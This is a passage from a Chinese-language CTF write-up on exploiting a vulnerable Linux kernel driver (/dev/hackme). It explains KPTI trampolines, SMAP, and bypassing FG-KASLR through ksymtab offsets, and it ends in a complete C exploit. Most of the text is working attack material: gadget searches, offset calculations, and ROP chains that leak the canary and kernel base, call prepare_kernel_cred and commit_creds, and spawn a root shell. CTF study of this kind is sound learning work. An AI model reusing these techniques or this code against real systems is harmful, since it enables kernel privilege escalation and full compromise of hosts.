<_stext+2101191>: iretq
这里有一个很迷的操作, 把cr3
里面的页表地址拿出来,
或了一个0x1000
再放回去, 就完成了内核态-用户态页表的更换,
这是因为这俩页表地址还真就是这样挨着存放的,
这哥俩被称为一个CR3 Pair
CR3 Pair
这种伙伴形式还见于完全二叉树:
如果根从1开始编号, 那么其他节点的编号异或1就是其兄弟节点
如果构造ROP链,
返回到0xffffffff81200f26 <_stext+2101030>: mov rdi,rsp
这一行
下面还要填充两个dummy来满足这两个pop
1 2 0xffffffff81200f89 <_stext+2101129>: pop rax 0xffffffff81200f8a <_stext+2101130>: pop rdi
bypass SMAP
smap意味着内核态无法访问用户态任何数据
象内核栈迁移到用户态映射区就白搭了
但是纯用rop链还是可以的
bypass KASLR
FG-KASLR
,不光整个内核镜像基地址随机,
部分函数之间的相对偏移量也会变, 真是死🐎了
如果使用readelf -S ./vmlinux | grep ".text"
查看text节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ^C root@Destroyer:/usr/src/kernel-rop# readelf -S ./vmlinux | grep ".text" | head -n 15 [ 1 ] .text PROGBITS ffffffff81000000 00200000 [ 2 ] .rela.text RELA 0000000000000000 024 d3b10 [ 3 ] .text.unlike[...] PROGBITS ffffffff81400dd7 00600 dd7 [ 4 ] .text.__star[...] PROGBITS ffffffff81400e90 00600e90 [ 5 ] .text.__do_s[...] PROGBITS ffffffff81400ea0 00600 ea0 [ 6 ] .text.__xen_[...] PROGBITS ffffffff81400eb0 00600 eb0 [ 7 ] .text.vvar_mremap PROGBITS ffffffff81400ed0 00600 ed0 [ 8 ] .text.vdso_fault PROGBITS ffffffff81400f00 00600f 00 [ 9 ] .text.map_vdso PROGBITS ffffffff81400f90 00600f 90 [10 ] .text.map_vd[...] PROGBITS ffffffff814010c0 006010 c0 [11 ] .text.vdso_mremap PROGBITS ffffffff81401170 00601170 [12 ] .text.find_t [...] PROGBITS ffffffff81401210 00601210 [13 ] .text.vvar_fault PROGBITS ffffffff81401230 00601230 [14 ] .text.arch_g[...] PROGBITS ffffffff81401450 00601450 [15 ] .text.vdso_j[...] PROGBITS ffffffff81401470 00601470
除去纯正的.text
节之外, 还有很多.text.*
的节,
这些节都很小,甚至二三十字节一个, 节里面也就一两个函数
其作用就是每个节都可以随机排列, 实现FG-KASLR
但是🐎还没有死完
.text
节是一整个儿,只会整体参与ASLR,但是节内的函数不会参与FG-KASLR
,而节内函数就有swapgs_restore_regs_and_return_to_usermode
,
.text
节在未开启KASLR
时的范围:
0xffffffff81000000 ~ 0xffffffff81400dd7
1 2 3 .text @ 0xffffffff81000000 swapgs_restore_regs_and_return_to_usermode @ 0xffffffff81200f10 offset_to_text = 0x200f10 kpti_trampoline @ 0xffffffff81200f26 offset_to_text = 0x200f26
ksymtab
不属于任何text
节,只参与KASLR
,因此ksymtab
到.text
的偏移量也是固定的
1 __ksymtab @ 0xffffffff81f85198 offset_to_text = 0xf85198
ksymtab
是一个映射表表中的每一项都长这样
1 2 3 4 5 struct kernel_symbol { int value_offset; int name_offset; int namespace_offset; };
这三个字段的意义是什么呢? 以commit_creds函数为例,
首先在未开启KASLR的内核上,找到它在ksymtab中的地址,是0xffffffff81f87d90
1 2 3 4 5 / # cat /proc/kallsyms | grep "commit_creds" ffffffff814c6410 T commit_creds ffffffff81f87d90 r __ksymtab_commit_creds ffffffff81fa0972 r __kstrtab_commit_creds ffffffff81fa4d42 r __kstrtabns_commit_creds
然后在gdb中打印ffffffff81f87d90
处三个双字
1 2 pwndbg> x/3wx 0xffffffff81f87d90 0xffffffff81f87d90: 0xff53e680 0x00018bde 0x0001cfaa
也就是说
1 2 3 value_offset = 0xff53e680 name_offset = 0x00018bde name_space_offset = 0x0001cfaa
其中value_offset
是符号实际地址与本字段kernel_symbol.value_offset
的偏移量
符号描述符__ksymtab_commit_creds的地址在0xffffffff81f87d90
符号与符号描述符的距离是((1<<32) - 0xff53e680)
,由此计算得到符号地址在0xffffffff814c6410
1 2 pwndbg> p/x 0xffffffff81f87d90 - ((1 <<32 ) - 0xff53e680 ) $17 = 0xffffffff814c6410
同理name_offset也是符号名字符串所在地址相对于本字段kernel_symbol.name_offset
的偏移量
1 2 pwndbg> p/x 0xffffffff81fa0972 - 0xffffffff81f87d94 $22 = 0x18bde
同理name_space_offset是符号命名空间字符串与本字段kernel_symbol.namespace_offset
的偏移量
1 2 3 4 5 6 7 8 9 10 11 pwndbg> x/10 s 0xffffffff81fa4d42 0xffffffff81fa4d42 : "" 0xffffffff81fa4d43 : "bpf_trace_run11" 0xffffffff81fa4d53 : "bpf_trace_run12" 0xffffffff81fa4d63 : "kprobe_event_cmd_init" 0xffffffff81fa4d79 : "__kprobe_event_gen_cmd_start" 0xffffffff81fa4d96 : "__kprobe_event_add_fields" 0xffffffff81fa4db0 : "kprobe_event_delete" 0xffffffff81fa4dc4 : "__tracepoint_suspend_resume" 0xffffffff81fa4de0 : "__tracepoint_cpu_idle" 0xffffffff81fa4df6 : "__tracepoint_cpu_frequency"
可以看到,这个符号属于一个通用的命名空间
回到本题中,思路如下:
1.hackme_read
函数中泄露canary
,
一个text
段的地址, 计算得到text
基地址,
以及ksymtab
地址等
2.ksymtab
中查到commit_creds
和prepare_kernel_cred
的地址
3.构造rop
链条
1.栈上泄露一个text
地址
在read
函数中之前我们只泄露了canary
值,
现在还要再泄露一个text
段的地址,以此计算text
段基地址
在未开启KASLR
的情况下观察从kstack_buf
开始的堆栈上,是否存在一个text
段的地址
,结果发现还真有
image-20241125151929536
1 2 3 4 5 6 pwndbg> p/x 0xffffc900001bff38 -0xffffc900001bfe08 $4 = 0x130 pwndbg> p/x 0x130 /8 $5 = 0x26 pwndbg> p 0x130 /8 $6 = 38
也就是说
,stack_buf + 0x130
字节开始处的一个四字就是这个泄露
2.从ksymtab
中查函数地址
内存任意读,这也可以通过gadget
实现
1 2 3 root@Destroyer:/usr/src/kernel-rop# cat gadgets.ropgadget | grep " : mov rax.*qword ptr .* ret" | grep "0xffffffff81[0123]" 0xffffffff81004aad : mov rax, qword ptr [rax + 0x10 ] ; pop rbp ; ret0xffffffff81015a7f : mov rax, qword ptr [rax] ; pop rbp ; ret
使用0xffffffff81015a7f : mov rax, qword ptr [rax] ; pop rbp ; ret
这个gadget
,还需要一个能够控制rax
值的gadget
1 2 root@Destroyer:/usr/src/kernel-rop# cat gadgets.ropgadget | grep "pop rax ; ret" | grep "0xffffffff81[0123]" 0xffffffff81004d11 : pop rax ; ret
还需要一个控制rdi
寄存器作为函数参数的gadget
1 2 root@Destroyer:/usr/src/kernel-rop# cat gadgets.ropgadget | grep "pop rdi ; ret" | grep "0xffffffff81[0123]" 0xffffffff81006370 : pop rdi ; ret
3.构造ROP链条
1.任意内存读泄露prepare_kernel_creds
函数偏移量
2.kpti-trampoline
返回到用户态,计算prepare_kernel_creds
函数地址
3.任意内存读泄露commit_creds
函数偏移量
4.kpti-trampoline
返回到用户态,计算commit_creds
函数地址
5.ret2 prepare_kernel_creds
6.kpti-trampoline
返回到用户态,保存init_task @ rax
7.init_task pop to rdi
8.ret2 commit_creds
9.kpti-trampoline
返回到用户态,起shell
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 #include <fcntl.h> #include <stdio.h> #include <signal.h> size_t addr_leak;size_t off_leak = 0xa157 ;size_t addr_text_base;size_t off_ksymtab = 0xf85198 ;size_t addr_ksymtab;size_t off_ksymtab_commit_creds = 0xf87d90 ;size_t addr_ksymtab_commit_creds;size_t addr_commit_creds;size_t off_ksymtab_prepare_kernel_cred = 0xf8d4fc ;size_t addr_ksymtab_prepare_kernel_cred;size_t addr_prepare_kernel_cred;size_t off_kpti_trampoline = 0x200f26 ;size_t addr_kpti_trampoline;size_t off_deref_rax_pop_rbp_ret = 0x15a7f ;size_t addr_deref_rax_pop_rbp_ret;size_t off_pop_rax_ret = 0x4d11 ;size_t addr_pop_rax_ret;size_t off_pop_rdi_ret = 0x6370 ;size_t addr_pop_rdi_ret;size_t addr_init_task_cred;int dev_fd;size_t canary;int value_offset;size_t user_cs;size_t user_ss;size_t user_sp;size_t user_rflags;size_t user_rip;void save_state () ;void open_dev () ;void leak () ;void spawn_shell () ;void leak_prepare_kernel_cred () ;void calculate_addr_prepare_kernel_cred () ;void leak_commit_creds () ; void save_init_task_cred () ;void execute_commit_creds () ;void calculate_addr_commit_creds () ;void execute_prepare_kernel_cred () ;int main () { save_state(); open_dev(); leak(); leak_prepare_kernel_cred(); puts ("[!] should never be reached" ); return 0 ; } void open_dev () { dev_fd = open("/dev/hackme" ,O_RDWR); } void spawn_shell () { char *argv[] = {"/bin/sh" , NULL }; execve(argv[0 ], argv, NULL ); } void save_state () { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); user_rip = spawn_shell; puts ("[*] Saved state" ); } void leak () { puts ("[*] Leaking canary and text base" ); size_t buffer[40 ]; read(dev_fd,buffer,40 *8 ); canary = buffer[0x10 ]; addr_leak = buffer[38 ]; addr_text_base = addr_leak - off_leak; addr_kpti_trampoline = addr_text_base + off_kpti_trampoline; addr_ksymtab = addr_text_base + off_ksymtab; addr_ksymtab_commit_creds = addr_text_base + off_ksymtab_commit_creds; addr_ksymtab_prepare_kernel_cred = addr_text_base + off_ksymtab_prepare_kernel_cred; addr_deref_rax_pop_rbp_ret = addr_text_base + off_deref_rax_pop_rbp_ret; addr_pop_rax_ret = addr_text_base + off_pop_rax_ret; addr_pop_rdi_ret = addr_text_base + off_pop_rdi_ret; printf ("[+] Leaked canary: %p\n" ,canary); printf ("[+] Leaked addr_leak: %p\n" ,addr_leak); printf ("[+] Leaked addr_text_base: %p\n" ,addr_text_base); printf ("[+] Leaked addr_kpti_trampoline: %p\n" ,addr_kpti_trampoline); printf ("[+] Leaked addr_ksymtab: %p\n" ,addr_ksymtab); printf ("[+] Leaked addr_ksymtab_commit_creds: %p\n" ,addr_ksymtab_commit_creds); printf ("[+] Leaked addr_ksymtab_prepare_kernel_cred: %p\n" ,addr_ksymtab_prepare_kernel_cred); printf ("[+] Leaked addr_deref_rax_pop_rbp_ret: %p\n" ,addr_deref_rax_pop_rbp_ret); printf ("[+] Leaked addr_pop_rax_ret: %p\n" ,addr_pop_rax_ret); printf ("[+] Leaked addr_pop_rdi_ret: %p\n" ,addr_pop_rdi_ret); puts ("[+] Leak complete\n\n" ); } void leak_prepare_kernel_cred () { puts ("[*] Leaking prepare_kernel_cred offset" ); size_t payload[0x100 ]; int offset = (0xa0 - 0x20 ) >> 3 ; memset (payload,0 ,offset*8 ); payload[offset++] = canary; payload[offset++] = 0 ; payload[offset++] = 0 ; payload[offset++] = 0 ; payload[offset++] = addr_pop_rax_ret; payload[offset++] = addr_ksymtab_prepare_kernel_cred; payload[offset++] = addr_deref_rax_pop_rbp_ret; payload[offset++] = 0xdeadbeef ; payload[offset++] = addr_kpti_trampoline; payload[offset++] = 0 ; payload[offset++] = 0 ; payload[offset++] = calculate_addr_prepare_kernel_cred; payload[offset++] = user_cs; payload[offset++] = user_rflags; payload[offset++] = user_sp; payload[offset++] = user_ss; write(dev_fd,payload,offset*8 ); } void calculate_addr_prepare_kernel_cred () { value_offset = 0 ; __asm__( ".intel_syntax noprefix;" "mov value_offset, rax;" ".att_syntax;" ); printf ("rax = %p\n" ,value_offset); addr_prepare_kernel_cred = addr_ksymtab_prepare_kernel_cred - ((1 <<32 ) - value_offset); printf ("[+] Leaked addr_prepare_kernel_cred: %p\n" ,addr_prepare_kernel_cred); puts ("[+] addr_prepare_kernel_cred calculated\n" ); leak_commit_creds(); } void leak_commit_creds () { puts ("[*] Leaking commit_creds offset" ); size_t payload[0x100 ]; int offset = (0xa0 - 0x20 ) >> 3 ; memset (payload,0 ,offset*8 ); payload[offset++] = canary; payload[offset++] = 0 ; payload[offset++] = 0 ; payload[offset++] = 0 ; payload[offset++] = addr_pop_rax_ret; payload[offset++] = addr_ksymtab_commit_creds; payload[offset++] = addr_deref_rax_pop_rbp_ret; payload[offset++] = 0xdeadbeef ; payload[offset++] = addr_kpti_trampoline; payload[offset++] = 0 ; payload[offset++] = 0 ; payload[offset++] = calculate_addr_commit_creds; payload[offset++] = user_cs; payload[offset++] = user_rflags; payload[offset++] = user_sp; payload[offset++] = user_ss; write(dev_fd,payload,offset*8 ); } void calculate_addr_commit_creds () { value_offset = 0 ; __asm__( ".intel_syntax noprefix;" "mov value_offset,eax;" ".att_syntax;" ); printf ("rax = %p\n" ,value_offset); addr_commit_creds = addr_ksymtab_commit_creds - ((1 <<32 ) - value_offset); printf ("[+] Leaked addr_commit_creds: %p\n" ,addr_commit_creds); puts ("[+] addr_commit_creds calculated\n" ); execute_prepare_kernel_cred(); } void execute_prepare_kernel_cred () { puts ("[*] executing prepare_kernel_cred" ); size_t payload[0x100 ]; int offset = (0xa0 - 0x20 ) >> 3 ; memset (payload,0 ,offset*8 ); payload[offset++] = canary; payload[offset++] = 0 ; payload[offset++] = 0 ; payload[offset++] = 0 ; payload[offset++] = addr_pop_rdi_ret; payload[offset++] = 0 ; payload[offset++] = addr_prepare_kernel_cred; payload[offset++] = addr_kpti_trampoline; payload[offset++] = 0 ; payload[offset++] = 0 ; payload[offset++] = save_init_task_cred; payload[offset++] = user_cs; payload[offset++] = user_rflags; payload[offset++] = user_sp; payload[offset++] = user_ss; write(dev_fd,payload,offset*8 ); } void save_init_task_cred () { __asm__( ".intel_syntax noprefix;" "mov addr_init_task_cred,rax;" ".att_syntax;" ); printf ("rax = %p\n" ,addr_init_task_cred); printf ("init task_cred address: %p\n" ,addr_init_task_cred); puts ("[+] addr_init_task_cred saved\n\n" ); execute_commit_creds(); } void execute_commit_creds () { puts ("[*] executing commit_creds" ); size_t payload[0x100 ]; int offset = (0xa0 - 0x20 ) >> 3 ; memset (payload,0 ,offset*8 ); payload[offset++] = canary; payload[offset++] = 0 ; payload[offset++] = 0 ; payload[offset++] = 0 ; payload[offset++] = addr_pop_rdi_ret; payload[offset++] = addr_init_task_cred; payload[offset++] = addr_commit_creds; payload[offset++] = addr_kpti_trampoline; payload[offset++] = 0 ; payload[offset++] = 0 ; payload[offset++] = spawn_shell; payload[offset++] = user_cs; payload[offset++] = user_rflags; payload[offset++] = user_sp; payload[offset++] = user_ss; write(dev_fd,payload,offset*8 ); }